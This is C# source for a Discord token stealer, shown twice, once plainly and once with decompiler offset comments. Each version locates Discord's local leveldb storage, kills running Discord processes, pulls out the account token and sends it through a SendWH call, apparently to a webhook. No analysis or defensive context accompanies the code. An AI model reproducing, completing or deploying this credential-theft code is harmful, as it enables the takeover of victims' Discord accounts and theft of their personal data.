private static void Main(string[] args) { string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\discord\\Local Storage\\leveldb\\"; if (!Grabber.FindLdb(ref path) && !Grabber.FindLog(ref path)) { Program.SendWH("No valid .ldb or .log file found"); } foreach (Process process in Process.GetProcessesByName("Discord")) { process.Kill(); } Thread.Sleep(100); string token = Grabber.GetToken(path, path.EndsWith(".log")); if (token == "") { token = "Not found"; } Program.SendWH(token); }
// Token: 0x06000006 RID: 6 RVA: 0x00002224 File Offset: 0x00000424 private static void Main(string[] args) { string text = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\discord\\Local Storage\\leveldb\\"; if (!Grabber.FindLdb(ref text) && !Grabber.FindLog(ref text)) { Program.SendWH("No valid .ldb or .log file found"); } Process[] processesByName = Process.GetProcessesByName("Discord"); for (int i = 0; i < processesByName.Length; i++) { processesByName[i].Kill(); } Thread.Sleep(100); string text2 = Grabber.GetToken(text, text.EndsWith(".log")); if (text2 == "") { text2 = "Not found"; } Program.SendWH(text2); }